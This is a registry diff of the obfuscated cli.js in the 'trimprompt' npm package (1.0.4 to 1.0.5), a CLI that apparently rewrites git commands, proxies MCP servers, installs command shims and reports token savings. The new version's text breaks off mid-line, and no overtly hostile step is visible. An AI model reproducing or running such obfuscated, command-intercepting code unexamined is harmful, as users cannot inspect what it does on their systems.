trimprompt 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cli.js CHANGED
@@ -1,2 +1,2 @@
1
1
  #!/usr/bin/env node
2
- 'use strict';const a0_0x4b1687=a0_0x3719;(function(_0x1fc112,_0x3ba96f){const _0x3a07b0=a0_0x3719,_0x504327=_0x1fc112();while(!![]){try{const _0x1ef378=-parseInt(_0x3a07b0(0x11e))/0x1+parseInt(_0x3a07b0(0x13b))/0x2*(parseInt(_0x3a07b0(0x159))/0x3)+parseInt(_0x3a07b0(0x1a2))/0x4+-parseInt(_0x3a07b0(0x190))/0x5*(-parseInt(_0x3a07b0(0x11c))/0x6)+parseInt(_0x3a07b0(0x110))/0x7+-parseInt(_0x3a07b0(0x157))/0x8+-parseInt(_0x3a07b0(0x12e))/0x9*(parseInt(_0x3a07b0(0x118))/0xa);if(_0x1ef378===_0x3ba96f)break;else _0x504327['push'](_0x504327['shift']());}catch(_0x3707a6){_0x504327['push'](_0x504327['shift']());}}}(a0_0x3215,0x4a1f2));var __createBinding=this&&this['__createBinding']||(Object[a0_0x4b1687(0x13e)]?function(_0x33acc9,_0x59b056,_0x2b39e7,_0x169012){const _0x2c9414=a0_0x4b1687;if(_0x169012===undefined)_0x169012=_0x2b39e7;var _0x483eb6=Object[_0x2c9414(0x193)](_0x59b056,_0x2b39e7);(!_0x483eb6||('get'in _0x483eb6?!_0x59b056[_0x2c9414(0x116)]:_0x483eb6[_0x2c9414(0x17c)]||_0x483eb6[_0x2c9414(0x14a)]))&&(_0x483eb6={'enumerable':!![],'get':function(){return _0x59b056[_0x2b39e7];}}),Object['defineProperty'](_0x33acc9,_0x169012,_0x483eb6);}:function(_0x33849f,_0x7ac94f,_0x1f77dd,_0x5545df){if(_0x5545df===undefined)_0x5545df=_0x1f77dd;_0x33849f[_0x5545df]=_0x7ac94f[_0x1f77dd];}),__setModuleDefault=this&&this[a0_0x4b1687(0x14d)]||(Object[a0_0x4b1687(0x13e)]?function(_0x20a2dd,_0x27a6d6){const _0x1e283d=a0_0x4b1687;Object[_0x1e283d(0x14b)](_0x20a2dd,'default',{'enumerable':!![],'value':_0x27a6d6});}:function(_0x8a1468,_0x20d195){const _0xd01238=a0_0x4b1687;_0x8a1468[_0xd01238(0x151)]=_0x20d195;}),__importStar=this&&this[a0_0x4b1687(0x138)]||(function(){var _0x10e6d5=function(_0x3c773a){const _0x9f5cea=a0_0x3719;return _0x10e6d5=Object[_0x9f5cea(0x17b)]||function(_0x4ab1a1){const _0x3e0f6a=_0x9f5cea;var _0x1b67a0=[];for(var _0x589d9e in _0x4ab1a1)if(Object[_0x3e0f6a(0x187)][_0x3e0f6a(0x16e)][_0x3e0f6a(0x14f)](_0x4ab1a1,_0x589d9e))_0x1b67a0[_0x1b67a0[_0x3e0f6a(0x1b6)]]=_0x589d9e;return _0x1b67a0;},_0x10e6d5(_0x3c773a);};return function(_0x354205){const _0x33f201=a0_0x3719;if(_0x354205&&_0x354205['__esModule'])return _0x354205;var _0x4eddef={};if(_0x354205!=null){for(var _0x44dafd=_0x10e6d5(_0x354205),_0x502bb8=0x0;_0x502bb8<_0x44dafd[_0x33f201(0x1b6)];_0x502bb8++)if(_0x44dafd[_0x502bb8]!==_0x33f201(0x151))__createBinding(_0x4eddef,_0x354205,_0x44dafd[_0x502bb8]);}return __setModuleDefault(_0x4eddef,_0x354205),_0x4eddef;};}());Object[a0_0x4b1687(0x14b)](exports,a0_0x4b1687(0x116),{'value':!![]});const commander_1=require('commander'),executor_1=require(a0_0x4b1687(0x117)),filters_1=require(a0_0x4b1687(0x15e)),tracker_1=require(a0_0x4b1687(0x176)),shims_1=require(a0_0x4b1687(0x149)),dashboard_1=require(a0_0x4b1687(0x178)),program=new commander_1[(a0_0x4b1687(0x164))]();function a0_0x3215(){const _0x2845ea=['\x0a=============================================','getOwnPropertyNames','writable','test','server','get\x20or\x20set','mcp-proxy','log','claude-3-5-sonnet','write','Port\x20to\x20run\x20the\x20dashboard\x20on','Reduction\x20Rate:\x20\x20\x20\x20','uninstall','prototype','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','model_name','Show\x20token\x20and\x20cost\x20savings\x20summary','description','installShims','some','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','--version','86185liKGPN','toFixed','config','getOwnPropertyDescriptor','server-mcp','-bs','--format','win32','\x20(before\x20Shave)','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','Command\x20line\x20to\x20evaluate','action','mcp','--min-parents','parse','1.0.0','Manage\x20local\x20configuration\x20parameters','\x20=\x20','1490252MScBuL','\x20USD','--short','-sb','toLocaleString','Start\x20the\x20local\x20developer\x20dashboard','message','port','argv','pnpm','Install\x20or\x20uninstall\x20system\x20command\x20shims','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','argument','exit','name','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','command','startDashboard','join','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','length','3888717xqqmuj','rewrite','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','--max-count','executeCommand','__esModule','./executor','7072070KQYtZr','then','[server-args...]','npm','78HrFJOl','config\x20parameter\x20name','185538DRwVxT','--oneline','resolve','<server-command>','modelcontextprotocol','yarn','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','version','--porcelain','help','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','-p,\x20--port\x20<number>','total_compressed_tokens','tracker','<action>','install','9SJRMBz','bun','Error:\x20Value\x20required\x20for\x20set\x20action','stats','install\x20or\x20uninstall','Arguments\x20for\x20the\x20target\x20MCP\x20server','Estimated\x20Cost:\x20\x20\x20\x20$','toLowerCase','./mcp','savings_percentage','__importStar','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','-m,\x20--model\x20<string>','923368PNdVPi','total_tokens_saved','Model\x20Context:\x20\x20\x20\x20\x20','create','args','stdout','=============================================','--no-merges','status','getStatsSummary','git','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','value\x20to\x20set','mcp-server','./shims','configurable','defineProperty','Config\x20set\x20','__setModuleDefault','=============================================\x0a','call','alias','default','startsWith','push','compressOutput','set','@modelcontextprotocol/','3340096AoHUtB','<commandLine>','3ddafuK','4000','-50','model','money_saved_usd','./filters','npx','setConfig','dashboard','catch','trim','Command','error','every','false','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','shims','option','cmd','-10','get','hasOwnProperty','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','stderr','--pretty','includes','node','---------------------------------------------','slice','./tracker','getConfig','./dashboard','--branch'];a0_0x3215=function(){return _0x2845ea;};return a0_0x3215();}function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x25c74e,_0x3aaba2){const _0x4eb106=a0_0x4b1687,_0x16730d=_0x25c74e[_0x4eb106(0x135)]();if(_0x16730d===_0x4eb106(0x145)||_0x16730d==='yadm'){const _0x11ee0c=_0x3aaba2[0x0];if(_0x11ee0c===_0x4eb106(0x143)){const _0x5db1d7=_0x3aaba2[_0x4eb106(0x175)](0x1),_0x18fcf2=_0x5db1d7[_0x4eb106(0x1b6)]===0x0||_0x5db1d7[_0x4eb106(0x166)](_0xd776e5=>{const _0x41c827=_0x4eb106;return _0xd776e5==='-b'||_0xd776e5===_0x41c827(0x179)||_0xd776e5===_0x41c827(0x1a5)||_0xd776e5===_0x41c827(0x195)||_0xd776e5==='-s'||_0xd776e5===_0x41c827(0x1a4);});if(_0x18fcf2)return{'cmd':_0x25c74e,'args':[_0x4eb106(0x143),_0x4eb106(0x126),'-b']};}else{if(_0x11ee0c===_0x4eb106(0x181)){const _0x397475=_0x3aaba2[_0x4eb106(0x175)](0x1),_0x65248c=_0x397475[_0x4eb106(0x18d)](_0x33ae8c=>_0x33ae8c[_0x4eb106(0x152)](_0x4eb106(0x11f))||_0x33ae8c[_0x4eb106(0x152)](_0x4eb106(0x171))||_0x33ae8c['startsWith'](_0x4eb106(0x196))),_0x4a1349=_0x397475[_0x4eb106(0x18d)](_0x587a3c=>_0x587a3c[_0x4eb106(0x152)]('-')&&/^\d+$/[_0x4eb106(0x17d)](_0x587a3c[_0x4eb106(0x175)](0x1))||_0x587a3c==='-n'||_0x587a3c[_0x4eb106(0x152)](_0x4eb106(0x114))),_0x2b5243=[..._0x3aaba2];if(!_0x65248c){const _0xce969d=_0x4eb106(0x128);_0x2b5243[_0x4eb106(0x153)](process['platform']===_0x4eb106(0x197)?'\x22'+_0xce969d+'\x22':_0xce969d);}!_0x4a1349&&(_0x65248c?_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x15b)):_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x16c)));const _0x7f1dff=_0x397475[_0x4eb106(0x18d)](_0x1179af=>_0x1179af==='--merges'||_0x1179af===_0x4eb106(0x142)||_0x1179af[_0x4eb106(0x152)](_0x4eb106(0x19d)));return!_0x7f1dff&&!_0x4a1349&&_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x142)),{'cmd':_0x25c74e,'args':_0x2b5243};}}}return{'cmd':_0x25c74e,'args':_0x3aaba2};}function isMcpServerExecution(_0x59e54f,_0x4b4ab7){const _0x2cf35b=a0_0x4b1687,_0x1c3681=_0x59e54f[_0x2cf35b(0x135)](),_0x210ef7=_0x4b4ab7[_0x2cf35b(0x1b4)]('\x20')[_0x2cf35b(0x135)]();if(_0x1c3681[_0x2cf35b(0x172)](_0x2cf35b(0x19c))&&(_0x1c3681['includes'](_0x2cf35b(0x17e))||_0x1c3681[_0x2cf35b(0x172)]('proxy')))return!![];if(_0x1c3681===_0x2cf35b(0x15f)||_0x1c3681===_0x2cf35b(0x173)||_0x1c3681===_0x2cf35b(0x12f)||_0x1c3681===_0x2cf35b(0x11b)||_0x1c3681===_0x2cf35b(0x1ab)||_0x1c3681===_0x2cf35b(0x123)){if(_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x156))||_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x122))||_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x148))||_0x210ef7['includes'](_0x2cf35b(0x194)))return!![];}if(_0x4b4ab7[_0x2cf35b(0x18d)](_0x1931bf=>{const _0x3a09b5=_0x2cf35b,_0x44aa94=_0x1931bf[_0x3a09b5(0x135)]();return _0x44aa94[_0x3a09b5(0x172)](_0x3a09b5(0x148))||_0x44aa94['includes'](_0x3a09b5(0x194))||_0x44aa94['includes']('@modelcontextprotocol/')||_0x44aa94===_0x3a09b5(0x180)||_0x44aa94===_0x3a09b5(0x19c);}))return!![];return![];}async function runProxy(_0x251b9a){const _0x551df9=a0_0x4b1687;if(_0x251b9a[_0x551df9(0x1b6)]===0x0){program[_0x551df9(0x127)]();return;}const _0x517f47=_0x251b9a[0x0],_0x57cff0=_0x251b9a[_0x551df9(0x175)](0x1),_0x1df973=_0x251b9a[_0x551df9(0x1b4)]('\x20');if(isDisabled()){const _0xb5badc=await(0x0,executor_1['executeCommand'])(_0x517f47,_0x57cff0);process[_0x551df9(0x140)][_0x551df9(0x183)](_0xb5badc[_0x551df9(0x140)]),process[_0x551df9(0x170)][_0x551df9(0x183)](_0xb5badc[_0x551df9(0x170)]),process[_0x551df9(0x1af)](_0xb5badc['exitCode']);}if(isMcpServerExecution(_0x517f47,_0x57cff0)){console[_0x551df9(0x165)](_0x551df9(0x199));const {runMcpProxy:_0x238771}=await Promise[_0x551df9(0x120)]()[_0x551df9(0x119)](()=>__importStar(require(_0x551df9(0x136))));_0x238771(_0x517f47,_0x57cff0);return;}const _0x3576a8=adjustCommandArgs(_0x517f47,_0x57cff0),_0x524f9b=await(0x0,executor_1[_0x551df9(0x115)])(_0x3576a8[_0x551df9(0x16b)],_0x3576a8[_0x551df9(0x13f)]),_0x3483e2=(0x0,filters_1[_0x551df9(0x154)])(_0x1df973,_0x524f9b[_0x551df9(0x140)],_0x524f9b['stderr'],tracker_1[_0x551df9(0x12b)][_0x551df9(0x177)]()['redaction_enabled']),_0xfced73=_0x524f9b[_0x551df9(0x140)]+(_0x524f9b['stderr'][_0x551df9(0x163)]()[_0x551df9(0x1b6)]>0x0?'\x0a'+_0x524f9b['stderr']:'');tracker_1['tracker']['logExecution'](_0x1df973,_0xfced73,_0x3483e2,_0x524f9b['exitCode']),_0x524f9b['exitCode']===0x0?process[_0x551df9(0x140)][_0x551df9(0x183)](_0x3483e2+'\x0a'):(process[_0x551df9(0x140)][_0x551df9(0x183)](_0x3483e2+'\x0a'),_0x524f9b[_0x551df9(0x170)][_0x551df9(0x163)]()['length']>0x0&&!_0x3483e2[_0x551df9(0x172)](_0x524f9b[_0x551df9(0x170)][_0x551df9(0x163)]())&&process[_0x551df9(0x170)][_0x551df9(0x183)](_0x524f9b[_0x551df9(0x170)]+'\x0a')),process[_0x551df9(0x1af)](_0x524f9b['exitCode']);}function a0_0x3719(_0x135cc1,_0x4fba98){_0x135cc1=_0x135cc1-0x110;const _0x321561=a0_0x3215();let _0x3719ac=_0x321561[_0x135cc1];return _0x3719ac;}program[a0_0x4b1687(0x1b0)](a0_0x4b1687(0x163))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x124))[a0_0x4b1687(0x125)](a0_0x4b1687(0x19f)),program['command']('ui')[a0_0x4b1687(0x150)](a0_0x4b1687(0x161))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x1a7))[a0_0x4b1687(0x16a)](a0_0x4b1687(0x129),a0_0x4b1687(0x184),a0_0x4b1687(0x15a))['action'](_0x39ad25=>{const _0x3d9a78=a0_0x4b1687,_0x562ced=parseInt(_0x39ad25[_0x3d9a78(0x1a9)],0xa);(0x0,dashboard_1[_0x3d9a78(0x1b3)])(_0x562ced);}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x131))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x18a))[a0_0x4b1687(0x16a)](a0_0x4b1687(0x13a),a0_0x4b1687(0x18e),a0_0x4b1687(0x182))[a0_0x4b1687(0x19b)](_0x11be61=>{const _0x504e41=a0_0x4b1687,_0x3c10a8=tracker_1[_0x504e41(0x12b)][_0x504e41(0x144)](_0x11be61[_0x504e41(0x15c)]);console['log'](_0x504e41(0x17a)),console[_0x504e41(0x181)](_0x504e41(0x16f)),console[_0x504e41(0x181)](_0x504e41(0x141)),console['log'](_0x504e41(0x13d)+_0x3c10a8[_0x504e41(0x189)]),console[_0x504e41(0x181)](_0x504e41(0x188)+_0x3c10a8['total_raw_tokens']['toLocaleString']()),console[_0x504e41(0x181)](_0x504e41(0x168)+_0x3c10a8[_0x504e41(0x12a)][_0x504e41(0x1a6)]()),console[_0x504e41(0x181)](_0x504e41(0x139)+_0x3c10a8[_0x504e41(0x13c)][_0x504e41(0x1a6)]()),console['log'](_0x504e41(0x185)+_0x3c10a8[_0x504e41(0x137)]+'%'),console[_0x504e41(0x181)](_0x504e41(0x134)+_0x3c10a8['raw_cost_usd'][_0x504e41(0x191)](0x4)+_0x504e41(0x198)),console[_0x504e41(0x181)]('Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$'+_0x3c10a8['compressed_cost_usd'][_0x504e41(0x191)](0x4)+'\x20(after\x20Shave)'),console[_0x504e41(0x181)](_0x504e41(0x174)),console['log'](_0x504e41(0x1ad)+_0x3c10a8[_0x504e41(0x15d)][_0x504e41(0x191)](0x4)+_0x504e41(0x1a3)),console['log'](_0x504e41(0x14e));}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x192))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x1a0))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x12c),a0_0x4b1687(0x17f))[a0_0x4b1687(0x1ae)]('<key>',a0_0x4b1687(0x11d))[a0_0x4b1687(0x1ae)]('[value]',a0_0x4b1687(0x147))['action']((_0x59e16f,_0x2b9b60,_0x5ea73b)=>{const _0x2ac36c=a0_0x4b1687;if(_0x59e16f===_0x2ac36c(0x16d)){const _0x494227=tracker_1[_0x2ac36c(0x12b)]['getConfig']();console[_0x2ac36c(0x181)](_0x2b9b60+':\x20'+_0x494227[_0x2b9b60]);}else{if(_0x59e16f===_0x2ac36c(0x155)){_0x5ea73b===undefined&&(console['error'](_0x2ac36c(0x130)),process[_0x2ac36c(0x1af)](0x1));let _0x3fd02a=_0x5ea73b;if(_0x5ea73b==='true')_0x3fd02a=!![];if(_0x5ea73b===_0x2ac36c(0x167))_0x3fd02a=![];if(/^\d+$/['test'](_0x5ea73b))_0x3fd02a=parseInt(_0x5ea73b,0xa);tracker_1[_0x2ac36c(0x12b)][_0x2ac36c(0x160)](_0x2b9b60,_0x3fd02a),console['log'](_0x2ac36c(0x14c)+_0x2b9b60+_0x2ac36c(0x1a1)+_0x5ea73b);}else console[_0x2ac36c(0x165)](_0x2ac36c(0x112)),process['exit'](0x1);}}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x169))['description'](a0_0x4b1687(0x1ac))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x12c),a0_0x4b1687(0x132))[a0_0x4b1687(0x19b)](_0x1c1adc=>{const _0x2d1ebb=a0_0x4b1687;if(_0x1c1adc===_0x2d1ebb(0x12d)){const _0x1b7400=(0x0,shims_1[_0x2d1ebb(0x18c)])();console[_0x2d1ebb(0x181)](_0x1b7400[_0x2d1ebb(0x1a8)]);}else{if(_0x1c1adc===_0x2d1ebb(0x186)){const _0xc0e460=(0x0,shims_1['uninstallShims'])();console[_0x2d1ebb(0x181)](_0xc0e460['message']);}else console[_0x2d1ebb(0x165)]('Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall'),process[_0x2d1ebb(0x1af)](0x1);}}),program['command'](a0_0x4b1687(0x111))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x113))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x158),a0_0x4b1687(0x19a))[a0_0x4b1687(0x19b)](_0x24eac7=>{const _0x2fb6d8=a0_0x4b1687;if(isDisabled()){console[_0x2fb6d8(0x181)](_0x24eac7);return;}const _0x3c253c=(0x0,filters_1['rewriteCommand'])(_0x24eac7);console[_0x2fb6d8(0x181)](_0x3c253c);}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x180))[a0_0x4b1687(0x150)](a0_0x4b1687(0x19c))['description'](a0_0x4b1687(0x146))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x121),a0_0x4b1687(0x1b5))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x11a),a0_0x4b1687(0x133))[a0_0x4b1687(0x19b)](async(_0x24ea2d,_0xab93b4)=>{const _0x4c1290=a0_0x4b1687,{runMcpProxy:_0x3c9c94}=await Promise[_0x4c1290(0x120)]()[_0x4c1290(0x119)](()=>__importStar(require(_0x4c1290(0x136))));_0x3c9c94(_0x24ea2d,_0xab93b4);});const args=process['argv'][a0_0x4b1687(0x175)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x4b1687(0x161),a0_0x4b1687(0x131),a0_0x4b1687(0x192),a0_0x4b1687(0x169),'rewrite','mcp-proxy',a0_0x4b1687(0x19c),a0_0x4b1687(0x127),'--help','-h',a0_0x4b1687(0x125),a0_0x4b1687(0x18f),'-v'];firstArg&&!subcommands[a0_0x4b1687(0x172)](firstArg)?runProxy(args)[a0_0x4b1687(0x162)](_0x53649d=>{const _0x2c4a75=a0_0x4b1687;console[_0x2c4a75(0x165)](_0x2c4a75(0x1b1)+_0x53649d[_0x2c4a75(0x1a8)]),process['exit'](0x1);}):program[a0_0x4b1687(0x19e)](process[a0_0x4b1687(0x1aa)]);
2
+ 'use strict';const a0_0x58f592=a0_0x38e0;(function(_0x2d1101,_0x1d18de){const _0x5d5d6d=a0_0x38e0,_0x546d70=_0x2d1101();while(!![]){try{const _0x48dac7=-parseInt(_0x5d5d6d(0xd4))/0x1*(-parseInt(_0x5d5d6d(0x12e))/0x2)+parseInt(_0x5d5d6d(0x122))/0x3*(parseInt(_0x5d5d6d(0x141))/0x4)+parseInt(_0x5d5d6d(0xb9))/0x5+-parseInt(_0x5d5d6d(0x109))/0x6*(-parseInt(_0x5d5d6d(0xe0))/0x7)+-parseInt(_0x5d5d6d(0xd0))/0x8+-parseInt(_0x5d5d6d(0xed))/0x9+parseInt(_0x5d5d6d(0x128))/0xa*(-parseInt(_0x5d5d6d(0xad))/0xb);if(_0x48dac7===_0x1d18de)break;else _0x546d70['push'](_0x546d70['shift']());}catch(_0x32a206){_0x546d70['push'](_0x546d70['shift']());}}}(a0_0x1990,0x5dfd3));var __createBinding=this&&this[a0_0x58f592(0x114)]||(Object['create']?function(_0x11d889,_0x33f6d1,_0x51d6fb,_0x3dfc74){const _0x20d56c=a0_0x58f592;if(_0x3dfc74===undefined)_0x3dfc74=_0x51d6fb;var _0x55e064=Object[_0x20d56c(0x104)](_0x33f6d1,_0x51d6fb);(!_0x55e064||(_0x20d56c(0xaa)in _0x55e064?!_0x33f6d1[_0x20d56c(0xf9)]:_0x55e064[_0x20d56c(0x101)]||_0x55e064['configurable']))&&(_0x55e064={'enumerable':!![],'get':function(){return _0x33f6d1[_0x51d6fb];}}),Object[_0x20d56c(0x11c)](_0x11d889,_0x3dfc74,_0x55e064);}:function(_0x1cc877,_0x2d18fd,_0x504d13,_0x2d6370){if(_0x2d6370===undefined)_0x2d6370=_0x504d13;_0x1cc877[_0x2d6370]=_0x2d18fd[_0x504d13];}),__setModuleDefault=this&&this[a0_0x58f592(0xb4)]||(Object['create']?function(_0x16f049,_0x2165ea){const _0x3ba2e4=a0_0x58f592;Object[_0x3ba2e4(0x11c)](_0x16f049,_0x3ba2e4(0xc8),{'enumerable':!![],'value':_0x2165ea});}:function(_0x169748,_0x1f70cb){const _0x5adcc3=a0_0x58f592;_0x169748[_0x5adcc3(0xc8)]=_0x1f70cb;}),__importStar=this&&this['__importStar']||(function(){var _0x47adb1=function(_0x207955){const _0x467eda=a0_0x38e0;return _0x47adb1=Object[_0x467eda(0xcb)]||function(_0x43d5f1){const _0x4b367a=_0x467eda;var _0x44b57c=[];for(var _0x560224 in _0x43d5f1)if(Object[_0x4b367a(0xb7)][_0x4b367a(0xc6)][_0x4b367a(0xfe)](_0x43d5f1,_0x560224))_0x44b57c[_0x44b57c[_0x4b367a(0xdb)]]=_0x560224;return _0x44b57c;},_0x47adb1(_0x207955);};return function(_0x55c0b5){const _0x193a15=a0_0x38e0;if(_0x55c0b5&&_0x55c0b5['__esModule'])return _0x55c0b5;var _0x4966f5={};if(_0x55c0b5!=null){for(var _0x4c90bc=_0x47adb1(_0x55c0b5),_0x173ce2=0x0;_0x173ce2<_0x4c90bc[_0x193a15(0xdb)];_0x173ce2++)if(_0x4c90bc[_0x173ce2]!==_0x193a15(0xc8))__createBinding(_0x4966f5,_0x55c0b5,_0x4c90bc[_0x173ce2]);}return __setModuleDefault(_0x4966f5,_0x55c0b5),_0x4966f5;};}());Object['defineProperty'](exports,a0_0x58f592(0xf9),{'value':!![]});const commander_1=require(a0_0x58f592(0x136)),executor_1=require(a0_0x58f592(0xfc)),filters_1=require(a0_0x58f592(0x111)),tracker_1=require(a0_0x58f592(0xeb)),shims_1=require(a0_0x58f592(0x130)),dashboard_1=require(a0_0x58f592(0x11e)),program=new commander_1[(a0_0x58f592(0xf8))]();function isDisabled(){const _0x4f10c9=a0_0x58f592;return process['env'][_0x4f10c9(0x127)]==='1';}function adjustCommandArgs(_0x50a76d,_0xe2496f){const _0x3cd54b=a0_0x58f592,_0x1f19b4=_0x50a76d[_0x3cd54b(0xe9)]();if(_0x1f19b4===_0x3cd54b(0x13f)||_0x1f19b4===_0x3cd54b(0xf3)){const _0x33f6ad=_0xe2496f[0x0];if(_0x33f6ad===_0x3cd54b(0xd6)){const _0x5f4f37=_0xe2496f['slice'](0x1),_0x3cf54b=_0x5f4f37[_0x3cd54b(0xdb)]===0x0||_0x5f4f37[_0x3cd54b(0xe7)](_0x3e7210=>{const _0x1cece9=_0x3cd54b;return _0x3e7210==='-b'||_0x3e7210===_0x1cece9(0xe3)||_0x3e7210===_0x1cece9(0x116)||_0x3e7210===_0x1cece9(0x106)||_0x3e7210==='-s'||_0x3e7210==='--short';});if(_0x3cf54b)return{'cmd':_0x50a76d,'args':['status','--porcelain','-b']};}else{if(_0x33f6ad==='log'){const _0x11e8c1=_0xe2496f[_0x3cd54b(0x10d)](0x1),_0x4a2c78=_0x11e8c1['some'](_0x168fde=>_0x168fde[_0x3cd54b(0xe2)]('--oneline')||_0x168fde[_0x3cd54b(0xe2)](_0x3cd54b(0x105))||_0x168fde[_0x3cd54b(0xe2)](_0x3cd54b(0x11f))),_0x4eb5f0=_0x11e8c1[_0x3cd54b(0xb6)](_0x5493e6=>_0x5493e6[_0x3cd54b(0xe2)]('-')&&/^\d+$/[_0x3cd54b(0x133)](_0x5493e6[_0x3cd54b(0x10d)](0x1))||_0x5493e6==='-n'||_0x5493e6[_0x3cd54b(0xe2)](_0x3cd54b(0xc3))),_0x21b17f=[..._0xe2496f];if(!_0x4a2c78){const _0x4b573b=_0x3cd54b(0x131);_0x21b17f[_0x3cd54b(0x142)](process[_0x3cd54b(0xbc)]===_0x3cd54b(0x113)?'\x22'+_0x4b573b+'\x22':_0x4b573b);}!_0x4eb5f0&&(_0x4a2c78?_0x21b17f['push']('-50'):_0x21b17f[_0x3cd54b(0x142)](_0x3cd54b(0x13a)));const _0x5ec799=_0x11e8c1['some'](_0x3fb891=>_0x3fb891==='--merges'||_0x3fb891==='--no-merges'||_0x3fb891[_0x3cd54b(0xe2)](_0x3cd54b(0x112)));return!_0x5ec799&&!_0x4eb5f0&&_0x21b17f[_0x3cd54b(0x142)](_0x3cd54b(0x100)),{'cmd':_0x50a76d,'args':_0x21b17f};}}}return{'cmd':_0x50a76d,'args':_0xe2496f};}function isMcpServerExecution(_0x54861c,_0x67963){const _0x3ca775=a0_0x58f592,_0x2af185=_0x54861c[_0x3ca775(0xe9)](),_0x4b384b=_0x67963[_0x3ca775(0xc9)]('\x20')[_0x3ca775(0xe9)]();if(_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0x126))&&(_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0xb3))||_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0xa9))))return!![];if(_0x2af185===_0x3ca775(0xf1)||_0x2af185===_0x3ca775(0x10f)||_0x2af185===_0x3ca775(0x139)||_0x2af185===_0x3ca775(0xb1)||_0x2af185==='pnpm'||_0x2af185===_0x3ca775(0xfa)){if(_0x4b384b[_0x3ca775(0xbb)]('@modelcontextprotocol/')||_0x4b384b[_0x3ca775(0xbb)](_0x3ca775(0x110))||_0x4b384b[_0x3ca775(0xbb)](_0x3ca775(0x107))||_0x4b384b[_0x3ca775(0xbb)]('server-mcp'))return!![];}if(_0x67963[_0x3ca775(0xb6)](_0x24e973=>{const _0x5506e6=_0x3ca775,_0x12779a=_0x24e973['toLowerCase']();return _0x12779a[_0x5506e6(0xbb)](_0x5506e6(0x107))||_0x12779a[_0x5506e6(0xbb)](_0x5506e6(0x11b))||_0x12779a[_0x5506e6(0xbb)](_0x5506e6(0xc0))||_0x12779a===_0x5506e6(0xf7)||_0x12779a===_0x5506e6(0x126);}))return!![];return![];}async function runProxy(_0x2fca72){const _0x15caa5=a0_0x58f592;if(_0x2fca72[_0x15caa5(0xdb)]===0x0){program['help']();return;}const _0x431bf0=_0x2fca72[0x0],_0x59f496=_0x2fca72['slice'](0x1),_0x834d1a=_0x2fca72[_0x15caa5(0xc9)]('\x20');if(isDisabled()){const _0x32a286=await(0x0,executor_1[_0x15caa5(0x10a)])(_0x431bf0,_0x59f496);process[_0x15caa5(0xc4)]['write'](_0x32a286[_0x15caa5(0xc4)]),process[_0x15caa5(0x12d)][_0x15caa5(0xd8)](_0x32a286['stderr']),process['exit'](_0x32a286['exitCode']);}if(isMcpServerExecution(_0x431bf0,_0x59f496)){console[_0x15caa5(0xba)](_0x15caa5(0x13d));const {runMcpProxy:_0x133f8f}=await Promise[_0x15caa5(0xfb)]()[_0x15caa5(0xe5)](()=>__importStar(require(_0x15caa5(0xcf))));_0x133f8f(_0x431bf0,_0x59f496);return;}const 